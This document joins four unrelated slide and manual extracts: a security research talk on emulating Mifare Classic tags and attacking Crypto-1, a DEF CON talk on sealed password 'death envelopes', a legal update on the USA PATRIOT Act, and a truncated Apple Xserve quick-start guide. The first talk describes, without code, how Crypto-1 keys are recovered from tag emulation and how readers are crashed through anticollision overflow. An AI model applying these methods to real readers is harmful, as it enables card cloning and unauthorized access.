Wanted to build it with minimal components
Full implementation of Crypto-1 authentication would be required, adding complexity to
the project
By fully implementing the protocol weaknesses could be identified in it
Hardware requirements
Inductive coupling would be required in order to receive signal from reader
This signal would need to demodulated by amplitude
An appropriate Microcontroller which could synchronise to 13.56MHz would be
required
The Microcontroller would need to be fast enough for encryption calculations
Sufficient memory would be required for storage of data
Inductive coupling - LC circuit
A circuit used to resonate with the field
Made of an inductor and a capacitor
For this purpose, a large coil of wire acts as inductor/antenna
Coil of wire was tuned to 10pF capacitor
Resonance can be checked with logic analyser, assessing whether wave frequency is
13.56MHz
Demodulation – envelope detector
Used in circuits to demodulate signal based on amplitude
Made from a diode, resistor and capacitor
Works by rectifying the signal, and then smoothing it
Values can be guessed by trial and error
Testing concluded that a 1K resistor and a 220pF capacitor were appropriate for this circuit
Appropriate values show Modified Miller communication in logic analyser
Receiving circuit
Final circuit built with very simple layout
Accurately receives communication from a reader with sufficient voltage to trigger GPIO
No need for additional smoothing or regulation
Microcontroller selection
ATTiny84 was selected for the initial device
Utilises 8KB of program space, and 512B of RAM
Can be programmed using a standard Arduino, or dedicated programmer
Able to use external crystals to run at a specific frequency
DIP package makes it easy to build into prototypes
Receiving circuit could be attached to GPIO pins
Good support for interrupts and timers
Bad support for debugging
8-bit architecture may cause problems with fast calculation
Implementation
A 13.56MHz crystal and matching capacitors were connected to the ATTiny
Receiving circuit was connect to an input pin and output pin
Due to UART not being feasible with non-standard clock, debug strings were communicated
via software-based SPI
An LED was attached to confirm when the device was active
The responses and state machine used by Mifare Classic were implemented, allowing the
device to behave as a tag
Timing issues
Using a 13.56MHz crystal, ATTiny was synchronised with reader
At predefined intervals at 847.5KHz, value of GPIO was read
Attempting to match signal against exact timings provided inconsistent results, commands
were only read accurately 50% of the time
This was found to be due to clock drift on the MCU
Instead, interrupts were configure to run whenever the signal went low, and times between
interrupts were assessed
This yielded a 99% accuracy
Implementing Crypto-1
Crapto-1 library and Crypto-1 papers used as a reference for implementation
Found to be based on 48-bit keys utilised as two 24-bit keys
8-bit architecture of MCU meant that all multi-byte calculations would take much longer
Additionally, AVR machine code only allows for one bit-shift at a time, making it
unsuitable for cryptography
Slow responses to authentication requests would cause compatibility issues
The filter function used for all calculations was identified to be the slowest function in
use
Implementing Crypto-1
All Crypto-1 code was converted from C to AVR assembly
SimAVR was used to compare optimised assembly version against C version in
environment with more effective debugging
All calculations which would be treated as 32-bit were performed as 24-bit operations
All bit-shifts were converted into more efficient operations:
•
16-bit shifts - move the two upper bytes to the lower two bytes
•
8-bit shifts - move the second lowest byte to the lowest byte
•
4-bit shifts – use the AVR SWAP operation to swap the upper and lower nibbles
•
2-bit shifts – two traditional shift operations
•
1-bit shifts – one traditional shift operation
These optimisations increased the speed of the calculations by ~10 times
Hardware limitations
Microcontroller is too slow to perform complex operations in time, 13.56MHz clock
speed is not enough to perform additional functions
~400 bytes of RAM and ~7000 bytes of Flash were used for the implementation,
leaving little room for further functionality
512 bytes of EEPROM memory were not enough to store an entire tag
Debugging complex functionality on AVR Microcontrollers is a difficult process
Limited number of pins means limited number of additional peripherals could be
added
Some readers were still not compatible, as they require fast response times
Building a better device
A more powerful Microcontroller was selected – STM32L496ZG
1MB of Flash available, 320KB of RAM (640x more than the
ATTiny)
Much faster clock speed, capable of performing at 72MHz
32-bit architecture could improve encryption calculations
Large number of useful peripherals, including USB and UART
Easy to program and debug using development software
Can be built using the same circuitry and logic as previous device
Building a better device
Pin configurations and clock speeds can be set in STM32Cube
Very little modification to core codebase was required – only timers and
interrupts needed to be modified
Synchronisation issues could occur due to lack of standard clock rate
Building a better device – Synchronisation
Internal clock of the chip was not able to tune to 13.56MHz
This would not be a problem for receiving data, but would be a problem for transmitting
responses
Use of an external crystal was not ideal, as it would increase complexity of the board
Without an accurate clock, the device would fall out of sync with the reader
The STM32 can run at a large number of frequencies, it could be possible to find a clock
at a close enough frequency, without being perfectly in sync
Each possible frequency was assessed in order to find the most suitable candidate
Additional features – Multi-tag support
Can be implemented by having several instances of the same state machine
Handling of multiple requests can be performed by forcing anticollision, or more easily
by cascading requests so that only one selection is performed at a time for each
emulated tag
This can be used to exploit weaknesses related to selecting multiple tags
Not hugely useful, as readers rarely implement this functionality
Additional features – Dynamic Crypto-1 Key Generation
Some readers generate unique keys depending on the UID of the tag
If the algorithm for these can be reverse engineered, keys can be calculated as
authentication is requested
This can allow for dynamic modification of UID values without adversely affecting
authentication
Additional features – Implementing DESFire
Can present as DESFire by modifying SAK and ATQA
response values
Implemented by replaying legitimate requests from readers
Protocols are robust, when a valid response can’t be provided,
the reader will try again
Authentication functionality is well documented
The Mifare DESFire Tool Android Application can be used to
develop and test this functionality
Security Weaknesses
Crypto-1 Weaknesses
Weaknesses in this algorithm have been known for a long time, most importantly in the
paper “Dismantling Mifare Classic”, which outlines the most key weaknesses.
Crypto-1 utilises 48-bit keys, split into 24-bit keys, this can be brute forced
Authentication is vulnerable to replay attacks
Nonces used to authenticate can be used to recover 32-bits of keystream from
authentication
Rollbacks from the authentication can be performed to fully recover the initial key
Attacking Crypto-1 from the tag
Key recovery for a sector can be achieved from two authentication requests when
emulating a tag:
Authentication is allowed to progress until the reader sends a response to the tag’s
initial nonce
This response contains a random value followed by an encrypted value generated by
the tag’s nonce, the generated value can be calculated and XORed with this,
providing 32-bits of keystream
The two 24-bit keys generated from the 48-bit initial key are used to calculate each
alternating bit of the keystream, reducing these values from ~16 million possible
24-bit keys to ~200,000
Matching key pairs can be checked in order to find combinations which generate
the 32-bit keystream
These keys can be rolled back through the random value and the initial nonce in
order to recover the initial key
Attacking Crypto-1 from the tag
Attacking Crypto-1 from the tag
This approach can be used to perform offline cracking on Mifare Classic keys
Keys can be recovered in under ten minutes
This is more efficient than reader-based attacks on tags, but is impractical in a real-
world setting
This functionality is available on the Proxmark and Chameleon Mini, and is part of the
core functionality of Crapto-1, but is not widely used to due to practicality in most
contexts
Attacking Crypto-1 from the tag - Demonstration
A Mifare Classic reader with no known research was selected – the NFC reader used by a
Japanese Video Game
Reader was identified to use USB for communication, which was reverse-engineered using
the USBProxy tool and a Beaglebone Black, the protocol was found to be simplistic and
allowed for access to tag UIDs and block data
The reader was found to not be compatible with the Proxmark or Chameleon Mini due to
the speed with which it required responses from tags
A tool was written which identified tags on the reader and tried to read data from it
Attacking Crypto-1 from the tag – Demonstration
UIDs, sector numbers and authentication values were generated from the STM32 device
A custom tool was written which processed these in order to recover keys
Keys were verified against the reader after being generated, showing that they could be
recovered
A large number of different keys were generated by emulating a large number of unique
UIDs, this allowed for identification of differences between keys, and could help with
reverse engineering key generation algorithms
Crypto-1 - Improvements
An increased key size would significantly increase the complexity of the attack
Usage of a single, large key would prevent brute forcing of key stream values
An improved PRNG on the tag would limit replay attacks
Removing known plaintext from authentication would remove opportunity for exploitation
Raw protocol weaknesses
Most NFC chipsets don’t support control of the initial enumeration procedures, leaving
it only accessible for testing by dedicated devices
Initial enumeration is performed by all tag types, meaning that weaknesses can be tested
on a large number of readers
No limits on response sizes leave readers potentially open to memory corruption
weaknesses
The greatest weaknesses lie in the anticollision procedures
Exploiting anticollision
By constantly responding to requests with corrupted communications, the reader will
ask for an increasing number of bits of the UID, eventually overflowing and requesting a
size too large for the buffer
This can often cause crashes
This feature is rarely implemented, most readers only support one card at a time
This weakness is known, but is still found in some readers
High level protocol weaknesses
Each tag type has its own weaknesses
Entire stack lends itself to fuzzing beyond enumeration, as this data can be manipulated
by most NFC chipsets
NDEF data has the greatest potential for weaknesses, as it has a large number of data
types and features
Authentication mechanisms often have known plaintext weaknesses
Capabilities of tag hardware mean that complex authentication and encryption is not
possible
Compiling research
Future work
Source will be released – RTL-SDR, AVR and STM32 tools
Boards will be designed
DESFire will be fully implemented, and each element of it will be assessed
More tag types will be researched for weaknesses
Questions
Christopher Wade
@Iskuri1
https://github.com/Iskuri
https://www.pentestpartners.com | pdf |
The Death Envelope:
A Medieval Solution
to a 21st
Century Problem
Matt Yoder
August 8-10, 2008, Las Vegas, Nevada
Who am I?
• Matt Yoder, acronym@acrønym.com
• Mostly a guy who believes in the concept,
and wants to spread the word.
• Made a promise to a friend, that if I
couldn’t find a good resource, I’d make it.
• I’ve given the topic a lot of thought.
• Undeniably a lover of fine pens and
paper, and a pencrafter.
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Today’s Goals
1. What is a death envelope, and what
problem does it solve?
2. Who should have one, or ask for one?
3. What should be in a death envelope?
4. Security options for a death envelope.
5. Varied forms of solutions.
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
What is a “Death Envelope”?
• In today’s high-tech society, far too much
important information is stored purely in
individuals’ brains.
• A record of this information should exist,
in case of one’s incapacitation or
extinction.
• This record must be highly-secured, and
tamper-resistant, and –evident.
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
How Big a Problem is it?
• High-tech users have lots of passwords.
• First poll I found shows an average of 40
passwords, 15 of which can be
considered “sensitive”.
Source: http://www.securitymetrics.org/content/Wiki.jsp?page=Welcome_blogentry_050208_1
Source: http://management.silicon.com/government/0,39024677,39126737,00.htm
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Who Should Have a Death Envelope?
• In short, anyone with information they wish to
be available after their death.
• An argument could be made that anyone with a
computer will have some reason for a Death
Envelope
• Specifically:
– Those with high-risk jobs or activities. Police, Fire, Military.
Skydivers, extreme sport enthusiasts.
– Those with high-risk information. Systems and Network
Administrators, etc.
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Who Should Ask for a Death Envelope?
• Managers/employers of Systems and
Network administrators.
– How much downtime is needed if a root
password, or Enterprise Administrator
password is lost?
• The spouses/families of those with high-
risk jobs or hobbies.
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Some thoughts on what
should be in your envelope
• Anything stored only in your brain that
people need access to if you’re dead, or
disabled, in a persistent vegetative state,
etc….
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Some more thoughts on what
should be in your envelope
• Root/administrative passwords
• Online account username/password combos
– Webmail
– Domain name administration
– Offsite information repositories (dhp.com, Sealand,
etc.)
– Financial institutions
• Financial “secrets”
– ATM Card PIN
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Death Envelope vs.
Traditional Aftercare
• Aftercare: Potentially reference material, lower
risk if invaded
– Bank accounts, real estate information, pension, retirement
funds
• Death Envelope: You don’t want it referenced
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Handwriting vs. Computer
• Handwriting Advantages
– If the Feds can sniff this, you’re truly screwed anyway.
– Easy to create/update anywhere, with the simplest of
tools.
• Computer Advantages
– Consistency
– Variety of very useful fonts
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Handwriting Tricks
• Slashed zeroes
• Underline numerics
• Slow down: shape your letters, don’t
scribble them
• Graph paper, forces one to slow down,
and can indicate spaces in passphrases.
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Handwriting Tricks
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Computer/Font Tricks
• OCR Fonts (Good for humans, too)
OCR A Extended: PASSWORD/p4s5w0rd2z
• Monotype Fonts
Lucida Sans Typewriter
password vs. p assw ord
• Most fonts have a slashed zero hidden somewhere. On
the PC it’s Alt+0216 (large: Ø) or Alt+0248 (small: ø)
P4S5WØRD
12345678910Ø
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Bonus Paper Tricks
• Invisible Inks (UV reactive, chemically reactive,
temperature reactive)
• A signature across the seal point of the
envelope, in water-soluble ink
• For a long-term envelope, consider acid-free
paper, and extremely permanent, tamper-
resistant inks.
– Fisher “Cellulock” Checkguard technology
– Noodler’s “Eternal” Inks.
– … Multiple others?
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
The Human Factor
• Trust, but with due diligence.
• All parties should understand the importance
• It is 100% appropriate to ask to inspect a
Death Envelope.
• “When to open my envelope” should be
clearly outlined, possibly even in Will/Living
Will.
• Ask someone for an envelope carefully.
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Trust
• If someone is holding your envelope,
make it clear up front that you’ll want to
inspect it regularly, and it’s not an insult.
• Obviously, be sure that you trust this
person with your most crucial, high-risk
information.
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Inspecting your envelope
• Photos of the seal, other signature points,
for comparison
• UV illumination may reveal chemical
assault not obvious to the naked eye.
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Other Thoughts on Storage
• Safety Deposit Box
– Make sure the right people are allowed to
access it without you
– You still need to check access logs, and
inspect your envelope
• Locked box
– Key can be held by another person
– Can be “sealed” as well as locked, strong
tape and a wax seal
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
How Often Should I Update?
• Ideal world: As often as information
contained within an envelope changes.
• Realistically, this will vary extensively by
individual.
– My recommendation is to mentally examine your
envelope at least monthly, if not weekly, to decide if
important information has changed, and warrants an
update.
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
A “Hybrid” Envelope?
• USB Key
– Plaintext file
– Encrypted file
– Application specific encrypted database. (Password
managers and the like.)
• Can still experience the tamper-detection
benefits of a physical envelope.
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Hybrid Advantages
• Larger amount of information
• Lower risk of confusion, between human
eyes and print on paper.
• Possibility of multiple envelopes, one with
USB key, one with “Master Passphrase.”
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Hybrid Disadvantages
• More attention to tamper-detection may
be required.
• Possible obsolescence of media.
• Possible media failure.
– Both of these last two should not be a concern, if one is
updating their envelope appropriately.
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Paper Alternatives
• Plastics, for durability and water resistance.
–
Yupo®
–
Teslin®
–
Tyvek®
•
Limestone/Resin papers (mostly designed for inkjets)
–
ViaStone®
–
XTerrane®
–
Terraskin®
•
Others, largely to reduce tree use.
–
Hemp
–
Kenaf
–
Bier Paper (60% Beer mash and recycled bottle labels)
–
Elephant Dung
–
Coffee harvest residue
–
Banana harvest residue
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Why a Wax Seal?
• 5000 years proof-of-concept testing
• Sealing wax is very specifically designed
for adhesion and tamper detection.
• Every seal is as unique as a fingerprint
vs.
(Duh!)
but:
vs.
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Why a Wax Seal?
• Without a paper Death Envelope, what
other excuse is there to make a custom
cDc or Løpht Heavy Industries wax seal?
Available through www.wax-works.com
(no affiliation…)
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
One more thing….
http://www.deathenvelope.com
Launches upon my return from Defcon
[email protected]
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder
Questions?
The Death Envelope: A Medieval
Solution to a 21st Century Problem
Defcon 16, August 8-10,
2008
Matt Yoder | pdf |
© The USA PATRIOT Act and You: A Legal Update
Jennifer Stisa Granick, Esq.
Stanford Law School
Center for Internet & Society
559 Nathan Abbott Way
Stanford, CA 94305
650-724-0014
[email protected]
What Can I Do?
Lobbying Works: Call or Write Your Congressperson
Get Educated
American Civil Liberties Union:
http://www.aclu.org/issues/cyber/hmcl.html
Electronic Frontier Foundation:
www.eff.org/Privacy/Surveillance/Terrorism_militias/20011031_ef
f_usa_patriot_analysis.html
Center For Democracy and Technology: www.cdt.org
Electronic Privacy Information Center: www.epic.org
What is the USAPA?
Drafted Before September 11
Rapidly Passed Following 9/11
Increases Gov’t Surveillance Powers
Foreign Intelligence and L.E. Can Share
Information
Defines More Terrorist Offenses,
Including Some “Hacking”
Government Surveillance
Increases Ability of
Law Enforcement to
Obtain Information
Problem is Lack of
Judicial Oversight
and Review
Changes to L.E. Power
BEFORE
• Subscriber Info available
with Subpoena.
• IPs, payment info,
including CC and bank
acc’t numbers available
with 2703(d) order
• Email headers: arguably
content data (Title III
Warrant)
AFTER
• Now includes IP,
information re:
payments, session
times and durations.
Sec 210, 211
• Pen Register/Trap
and Trace Order
(Issue, subject line)
Changes to L.E. Power (con’t)
BEFORE
• Web surfing:
Arguably Title III
warrant or 2703(d)
order
• Searches of Email
Content (Search
warrant or subpoena
w/ notice)
AFTER
• Pen Register/Trap
and Trace Order
• Extended Ability to
Delay Notice
Changes to L.E. Power (con’t)
BEFORE
• Wiretap
authorization in
district where
telephone/computer
is located
•
Voicemail requires
Title III Warrant
AFTER
• Roving wiretaps
• Search warrant
Changes to L.E. Power (con’t)
BEFORE
• Needed court order
to monitor computer
users
•
Voicemail requires
Title III Warrant
AFTER
• If use is
“unauthorized” then
L.E. may monitor
with permission of
system owner
• Search warrant
Changes to L.E. Power (con’t)
BEFORE
• ISPs may not disclose
information to L.E.
without a court order
•
AFTER
• ISPs can voluntarily
disclose "non-
content" to L.E. w/o
court order. sec. 212.
• To protect provider’s
rights and property
• Threat of death,
injury
New Terrorism Offenses
Domestic Terrorism
`(A) involve acts dangerous to human life
that are a violation of the criminal
laws of the United States or of any
State;
`(B) appear to be intended--
`(i) to intimidate or coerce a civilian
population;
`(ii) to influence the policy of a
government by intimidation or
coercion; or
`(iii) to affect the conduct of a
government by mass destruction,
assassination, or kidnapping; and
`(C) occur primarily within the territorial
jurisdiction of the United States.'.
Concern that
legitimate protest
activity, especially if
violence occurs, will
result in charges
New Terrorism Offenses (con’t)
Some “hacking” is
terrorism:
1030(a)(1) (relating to protection
of computers), 1030(a)(5)(A)(i)
resulting in damage as defined in
1030(a)(5)(B)(ii) through (v)
(relating to protection of
computers)
1030(a)(1): Obtaining classified
information that could be used to
harm the U.S. or disclosing info
to foreign gov’t
1030(a)(5)(A)(i):
transmission of a program,
information etc. intentionally
causes damage (Medical Info,
Physical injury, threat to
public heath or safety, gov’t
system for justice, defense, or
security.)
New Terrorism Offenses (con’t)
Harboring or
Concealing Terrorists
Material Support for
Terrorists: Includes
Expert Advice or
Assistance
New Offenses = new
surveillance power
Wiretapping for 1030
Increased penalties:
misd now 5 yrs. 5 yrs
now 10.
FISA
Foreign Intelligence
Surveillance Act:
Allowed spying on
reduced judicial
oversight, showing if
the purpose of
surveillance was
investigation of
American agents of
foreign gov’t
Now allows if “a
significant purpose”
of the surveillance
(218)
FISA
Allows Information
Sharing Between
Foreign Intelligence
and L.E.
LE Wiretap results
Grand jury
investigations (203a)
FISA wiretaps w/o
probable cause
shared with L.E. if
person suspected
agent of for. gov’t
Proposed Legislation
Cyber-Security Enhancement Act (CSEA)
Passed House, awaiting Senate
Copyright Holder “Hack Back”
Legislation
Introduced in House
CSEA: 1030
Section 105 increases penalties for the
(a)(5)(A)(i).
“[I]f the offender knowingly or recklessly causes or
attempts to cause serious bodily injury from conduct
in violation of subsection (a)(5)(A)(i), a fine under
this title or imprisonment for not more than 20 years,
or both” attaches.
“[I]f the offender knowingly or recklessly causes or
attempts to cause death from conduct in violation of
subsection (a)(5)(A)(i), a fine under this title or
imprisonment for any term of years or for life, or
both” attaches.
CSEA: 1030 (con’t)
Section 101: asks the Sentencing
Commission to reevaluate § 1030
guidelines.
CSEA: Interception/Stored Communications
Section 108(a): interception of private
cell phone communications are punished
same as interception of communications
sent over traditional media.
Increases penalties [from misdemeanor]
to 5 years where the actor has the
aggravating mental state.
CSEA: Search and Seizure
Section 102: ISPs able to disclose information
about a possible emergency situation in a
broader range of circumstances.
§ 2702(b)(6)(c):
1. “Good faith” rather than “reasonable'' belief
of emergency.
2. provider need not determine what is an
immediate danger.
3. Third, provider can disclose the information
to any Government entity, not just law
enforcement.
CSEA: Search and Seizure (con’t)
Section 108: pen/trap uses in two new
“emergency” situations: immediate threats to
national security interests and ongoing attacks
on protected computers.
Section 103, 106: communications providers
cannot be prosecuted for computer access
crimes when executing government search
orders.
Hack Back
limits copyright holders’ civil and criminal
liability for “disabling, interfering with,
blocking, diverting, or otherwise impairing the
unauthorized distribution, display,
performance, or reproduction of his or her
copyrighted work on a publicly accessible
peer-to-peer file trading network.”
Not permitted to, “without authorization, alter,
delete, or otherwise impair the integrity of any
computer file or data residing on the computer
of a file trader.”
What Can I Do?
Call or Write Your Congressperson
Get Educated
American Civil Liberties Union:
http://www.aclu.org/issues/cyber/hmcl.html
Electronic Frontier Foundation: www.eff.org/
Sousveillance: http://wearcam.org/wsd.htm
The End
Stanford Center for Internet & Society
cyberlaw.stanford.edu
Jennifer S. Granick
[email protected]
www.granick.com
Special Thanks to:
Matthew Scherb, Northwestern Law School | pdf |
Quick Start
For Cluster Node Servers
Important hardware and safety
information and guide to
server documentation
Xserve
3
1
Overview of Xserve Hardware,
Setup, and Safety
This booklet provides an illustrated reference for your Xserve hardware and an orientation to
unpacking, setting up, and using your server. Use it as your “road map” to the procedures and
documents necessary to:
m
Install the server hardware in a rack
m
Work with server components
m
Set up Mac OS X Server software
m
Monitor server operations and make adjustments as needed
A list of documents that provide information and instructions for Xserve, with a description of
each document, appears in “Where to Find Instructions for Xserve Hardware and Software” on
page 13.
This booklet also includes instructions for installing or restoring server software from a remote
computer.
4
Removing the Server From Its Packaging
To protect its precision components, the server is shipped in special packaging, with a
temporary plastic faceplate covering its front panel. You need to remove this faceplate before
opening the server or installing it in a rack.
Xserve is specifically designed for rack mounting. It is not designed for use as a desktop
computer.
Note:
If at all possible, work with another person when handling the server.
Follow these steps to remove the server from its carton and remove the faceplate.
1
Open the carton, remove any foam or other packaging, and fold back the plastic covering the
server.
2
With one person holding the server on each side, carefully lift the unit and place it on a table.
Warning
Do not place a monitor or any other equipment on top of the server. Any
weight on the server’s case could damage the components inside the unit.
5
3
Remove the protective faceplate from the server’s front panel by unscrewing the
thumbscrews at each side of the faceplate and lifting it off. Remove the additional shipping
screws on either side of the server. (The shipping screws do not need to be reinstalled unless
you intend to transport your server.)
4
Remove any plastic film from the front and rear of the server’s cover.
See “Summary of Hardware Installation” on page 12 for more information about installing
the server in a rack.
Your Server Hardware
Your model of the Xserve system differs somewhat from the model illustrated in the
Xserve
User’s Guide.
The illustrations on the pages that follow provide a reference for the specific
features of your server’s hardware.
Protective faceplate
Remove the two shipping screws.
There is one screw on either
side of the server.
Remove the four thumbscrews that hold the protective faceplate
in place, and remove the faceplate by lifting it straight up.
6
Your Server at a Glance—Front Panel
Drive module status light
Apple Drive Module bay
Power button/light
FireWire 400 port
System identifier button/light
Enclosure lock and status light
Securing thumbscrews (2)
Built-in Ethernet link light
System activity lights
Drive module activity light
7
®
Power button and light
Press to turn on the server.
Enclosure lock and lock status light
The lock secures the enclosure and drive modules in the server. It can be locked and
unlocked with the enclosure key supplied with the server.
When the enclosure lock is locked (the light is on), the server may not recognize
peripheral devices such as a keyboard, mouse, or storage device. Unlock the lock to use
those devices.
System identifier button and light
The system identifier light turns on if a problem is detected. It also can be turned on
manually by pressing the button. This indicator is useful for locating a particular unit in a
rack with multiple servers. A duplicate system identifier button and light are on the back
panel.
FireWire 400 port
Provides a FireWire 400 connection on the front of the server. There are also two FireWire
800 ports on the back panel. The enclosure lock must be unlocked for the server to
recognize some devices connected to this port. (See “FireWire Specifications” in
Appendix A of the
Xserve User’s Guide
for information about FireWire ports and
connectors.)
Built-in Ethernet link light
This light indicates an Ethernet link.
System activity lights
Two rows of eight lights indicate system activity. The rows of lights operate independently
to show each processor’s activity.
Drive module and lights
The drive module contains the server software and has lights showing operating status and
disk activity. You cannot install additional drive modules in this Xserve model.
8
Your Server at a Glance—Back Panel
USB ports (2)
Gigabit Ethernet port
System identifier button/light
Power socket
FireWire 800 ports (2)
Serial console port
PCI card expansion slots (2)
9
≤
Power socket
The power cord connects here; it is held in place by a special clip so that it stays connected
when the server is opened in the rack.
G
Gigabit Ethernet port
Connect your server to a high-speed Ethernet network. Ethernet ports adjust automatically
to the transmission speed supported by network components. The Ethernet port is built
in.
System identifier button and light
The system identifier light turns on if a problem is detected. It also can be turned on
manually by pressing the button. This indicator is useful for locating a particular unit in a
rack with multiple servers. A duplicate system identifier button and light are on the front
panel.
PCI card slots
You can install two 12-inch PCI cards in the server to connect peripheral devices. See
“About PCI Cards for the Server” in Chapter 5 of the
Xserve User’s Guide
for details. One or
two slots may come with cards installed at the factory.
FireWire 800 ports
Connect FireWire devices to the server. A FireWire 400 port is also located on the front
panel. The enclosure lock must be unlocked for the server to recognize some devices
connected to this port. (See “FireWire Specifications” in Appendix A of the
Xserve User’s
Guide
for information about FireWire ports and connectors.)
USB ports
Connect USB devices, such as a keyboard or mouse. The enclosure lock must be unlocked
for the server to recognize some devices connected to this port.
Serial console port
Connect a serial device or computer with a serial port. This console supports
RS-232–compatible connections.
10
Your Server at a Glance—Interior
RAM slots (4)
PCI card slots (2)
Power supply
Battery
Main logic board
Chassis
release latch
Chassis release latch
Serial number and
Ethernet MAC address label
Blowers
11
PCI card slots
You can install two 12-inch PCI expansion cards in the two slots. (See “About PCI Cards for
the Server” in Chapter 5 of the
Xserve User’s Guide
for more information about card
requirements.)
RAM expansion slots
You can expand DDR RAM up to 2 GB, using the four slots. (See “Adding Memory” in
Chapter 5 of the
Xserve User’s Guide
for more information.)
Power supply
The auto-switching power supply detects the input voltage and adjusts for it. A thermal
control adjusts the speed of the power supply’s fan as needed.
Blowers
The blowers cool the server during operation. Sensors detect and report if a blower needs
service. Software adjusts the blower’s speed as necessary.
Chassis release latches
Press these latches to slide the server to its full length when in the rack, or to remove it
from the cover.
Serial number and Ethernet MAC address label
You must use the system’s serial number and the Ethernet MAC address when you install
and set up the server software. Write down these numbers and keep them in a safe place. A
duplicate of this label is on the back of the system, below the PCI card expansion slots.
12
Summary of Hardware Installation
Installing the server in a rack involves a series of steps. These include:
m
Unpacking the server and removing the protective faceplate from the front panel
m
Placing the server on a table or other flat surface and removing the top of the case
m
Locating and writing down the server’s hardware serial number and Ethernet MAC
address (necessary to log in for software setup)
m
Installing any optional internal components, such as RAM or an expansion card
m
Installing the top of the server’s case in a rack or cabinet (you can install Xserve in a four-
post rack or cabinet or a two-post telecommunications-style, or telco, rack)
m
Placing the server’s case in the rack or cabinet
m
Securing the server and locking the disk drives in place
m
Connecting the cable-management arm (four-post rack or cabinet only)
m
Connecting cables to the back panel and fitting them into the cable-management arm
m
Connecting peripheral devices to back-panel cables
m
Connecting a FireWire device to the front panel, if applicable
Hardware for rack installation is provided; you need a medium-sized Phillips screwdriver.
Once the hardware is installed in a rack, you can turn on the server and set up the software.
See Chapter 3, “Installing Your Server in a Rack,” in the
Xserve User’s Guide
for detailed
instructions on installing the server in a rack.
See “Where to Find Instructions for Xserve Hardware and Software” on page 13 of this
booklet for additional details about the server documentation.
See “Installing or Restoring Software on Your Xserve System” on page 15 for several
suggested methods of installing or restoring software on your server.
Important
Two people are required to install the server or to open the server before it is
installed in a rack.
13
Considerations for Multiple Xserve Systems in a Rack
Because your Xserve system is designed for use with other Xserve units and additional
components in a rack, you must plan and provide adequate resources for all of these units.
Consider the combined requirements of your Xserve systems and other components for:
m
Electrical power and backup power
m
Operating environment
m
Access to the front and back of each system, as well as room to open the Xserve systems
m
Orderly management of cables for multiple components
m
Stability of the rack
m
Security for the rack’s location
See Chapter 2, “Preparing to Install Your Server,” in the
Xserve User’s Guide
for more
information about planning the installation of your Xserve systems.
Also consult the documentation for each additional component and for the rack to be certain
that your installation and resources meet their combined requirements.
Where to Find Instructions for Xserve Hardware and
Software
Your server comes with several documents that provide instructions for installing and
maintaining the hardware, setting up the software, and monitoring and adjusting the server’s
operation. This section includes a description of each of the server documents.
In addition to this “quick start” booklet, the server’s learning materials include the following
documents and reference sources.
Note:
The system CD that came with the server contains electronic documentation in
PDF format.
Xserve User’s Guide
This printed book covers:
m
An overview of hardware components (showing a different model from your system)
m
Installing the server in a rack and turning it on (for all Xserve models)
m
Replacing or installing server components such as disk drives, RAM, and PCI cards
m
Connecting devices to the server
m
Managing cables connected to the server
14
Getting Started With Mac OS X Server
This printed software guide provides information about the remote setup and monitoring
tools added to Mac OS X Server software. It covers:
m
Setup overview
m
Server system requirements
m
Overview of installation and setup options
m
Remote installation and setup instructions
m
Setting up basic services
m
Managing your server
The electronic version of this book is installed with the server software and is located in
/Library/Documentation/MacOSXServer/English. It is named “Getting Started.pdf.”
Mac OS X Server Administrator’s Guide
This electronic guide (PDF) is installed along with Mac OS X Server software. This guide
highlights the server’s services and tours its administration applications. It describes:
m
Directory services used to find information about users, groups, and devices on your
network
m
How to administer settings for server users and groups
m
How to share folders, hard disks, and CDs among users
m
File and print services
m
Client management for Mac OS 8, 9, and X computer users
m
How to set up and administer web and mail servers
m
Network services, such as DHCP and firewall
m
NetBoot and Network Install
m
Necessary details for using another vendor’s directory service information
This electronic book is installed into /Library/Documentation/MacOSXServer/English; it is
named “Admin Guide.pdf.”
On the Web
Be sure to check these websites for additional information:
m
